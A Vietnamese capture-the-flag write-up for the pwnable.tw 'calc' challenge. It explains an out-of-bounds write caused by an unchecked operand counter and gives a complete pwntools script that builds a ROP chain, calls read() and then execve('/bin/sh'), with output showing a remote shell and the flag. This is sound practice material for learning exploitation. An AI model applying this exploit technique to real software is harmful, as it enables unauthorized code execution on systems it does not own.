pwnable.tw

calc

Vulnerability: Chương trình tin rằng bộ đếm luôn nằm trong khoảng hợp lệ, tuy nhiên thực tế bộ đếm được cộng trừ bất kiểm soát, dẫn đến ghi out-of-bound.

February 14, 2026 January 31, 2026 Medium
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec calc
[*] '/home/hungnt/ctfs/pwnable.tw/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

Vì bài này no PIE, static binary, xem gadget thì khá là tiện nghi, nên có thể mục tiêu là ROP ở đâu đó trên stack để spawn shell.

Code

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

calc()

unsigned int calc()
{
  int buf[101]; // [esp+18h] [ebp-5A0h] BYREF
  char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int v3; // [esp+5ACh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(expr, 0x400u);
    if ( !get_expr(expr, 1024) )
      break;
    init_pool(buf);
    if ( parse_expr(expr, buf) )
    {
      printf("%d\n", buf[buf[0]]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v3;
}

parse_expr()

int __cdecl parse_expr(char *expr, _DWORD *buf)
{
  int idx; // eax
  char *operand_begin; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v6; // [esp+28h] [ebp-80h]
  char *operand_size; // [esp+2Ch] [ebp-7Ch]
  char *operand_str; // [esp+30h] [ebp-78h]
  int operand; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  operand_begin = expr;
  v6 = 0;
  bzero(s, 100u);
  for ( i = 0; ; ++i )
  {
    if ( expr[i] - (unsigned int)'0' > 9 )      // operator
    {
      operand_size = (char *)(&expr[i] - operand_begin);
      operand_str = (char *)malloc(operand_size + 1);
      memcpy(operand_str, operand_begin, operand_size);
      operand_str[(_DWORD)operand_size] = 0;
      if ( !strcmp(operand_str, "0") )
      {
        puts((int)"prevent division by zero");
        fflush(stdout);
        return 0;
      }
      operand = atoi(operand_str);
      if ( operand > 0 )
      {
        idx = (*buf)++;
        buf[idx + 1] = operand;
      }
      if ( expr[i] && expr[i + 1] - (unsigned int)'0' > 9 )
      {
        puts((int)"expression error!");
        fflush(stdout);
        return 0;
      }
      operand_begin = &expr[i + 1];
      if ( s[v6] )
      {
        switch ( expr[i] )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v6] != '+' && s[v6] != '-' )
              goto LABEL_14;
            s[++v6] = expr[i];
            break;
          case '+':
          case '-':
LABEL_14:
            eval(buf, s[v6]);
            s[v6] = expr[i];
            break;
          default:
            eval(buf, s[v6--]);
            break;
        }
      }
      else
      {
        s[v6] = expr[i];
      }
      if ( !expr[i] )
        break;
    }
  }
  while ( v6 >= 0 )
    eval(buf, s[v6--]);
  return 1;
}

eval()

_DWORD *__cdecl eval(_DWORD *buf, char op)
{
  _DWORD *result; // eax

  if ( op == '+' )
  {
    buf[*buf - 1] += buf[*buf];
  }
  else if ( op > '+' )
  {
    if ( op == '-' )
    {
      buf[*buf - 1] -= buf[*buf];
    }
    else if ( op == '/' )
    {
      buf[*buf - 1] /= (int)buf[*buf];
    }
  }
  else if ( op == '*' )
  {
    buf[*buf - 1] *= buf[*buf];
  }
  result = buf;
  --*buf;
  return result;
}

Solve

Mình để ý ở đây trong hàm parse_expr():

if ( operand > 0 )
  {
	idx = (*buf)++;
	buf[idx + 1] = operand;
  }

Vì idx = buf[0], và ko có chỗ nào được check xem có nằm trong giới hạn hợp lệ hay ko, mình có ý tưởng làm sao để gây out-of-bound. Do buf là một biến cục bộ của hàm calc(), nếu mình gây oob với index âm, có thể ghi vào return address của hàm parse_expr().

Để đưa idx về âm, mình cần phải bypass idx = (*buf)++ trong parse_expr() và liên tục gọi eval() để có --*buf. Mình nhận ra rằng chương trình chỉ check “0”, chứ ko check “00…”, nên có thể nhập +00 liên tục để gọi eval().

Sau khi đã đưa về đc idx âm mong muốn, mình nhập operand là địa chỉ các gadget vói buf[idx + 1] = operand;, kết hợp với việc lợi dụng logic để ghi được rop chain hoàn chỉnh.

Vì trong binary ko có chuỗi /bin/sh, nên mình ROP để read() nó trước, rồi mới return về hàm main(), ROP lại lần nữa để execve.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("calc_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x0804912b
# b *0x0804914c
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10100
        return remote(host, port)

p = conn()
sleep(1)

pop_eax_ret = 0x0805c34b
pop_ebx_edx_ret = 0x080701a9
pop_edx_ecx_ebx_ret = 0x080701d0
int_0x80_ret = 0x8070880
main = 0x8049452
sh = 0x80ed4d4 + 16

sla(p, b'calculator ===', flat(
    b'+00' * 8,
    b'+',
    str(pop_ebx_edx_ret - 1).encode(),
    b'*1+1+',
    str(1).encode(),
    b'*1-1+',
    str(0x31337 - 1).encode(),
    b'*1+1+',
    str(pop_eax_ret - 1).encode(),
    b'*1+1+',
    str(0x3 - 1).encode(),
    b'*1+1+',
    str(int_0x80_ret - 1).encode(),
    b'*1+1+',
    str(main).encode(),
    b'*1+0'
))

sleep(1)

s(p, pad(16, b'\0') + b'/bin/sh\0')

sla(p, b'calculator ===', flat(
    b'+00' * 8,
    b'+',
    str(pop_edx_ecx_ebx_ret - 1).encode(),
    b'*1+1+',
    str(1).encode(),
    b'*1-1+',
    str(1).encode(),
    b'*1-1+',
    str(sh - 1).encode(),
    b'*1+1+',
    str(pop_eax_ret - 1).encode(),
    b'*1+1+',
    str(0xb - 1).encode(),
    b'*1+1+',
    str(int_0x80_ret).encode(),
    b'*1+0',
))

rr(p, 1)
ia(p)
$ py solve.py 
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
calc
$ cd calc
$ ls
calc
flag
run.sh
$ cat flag
FLAG{C:\Windows\System32\calc.exe}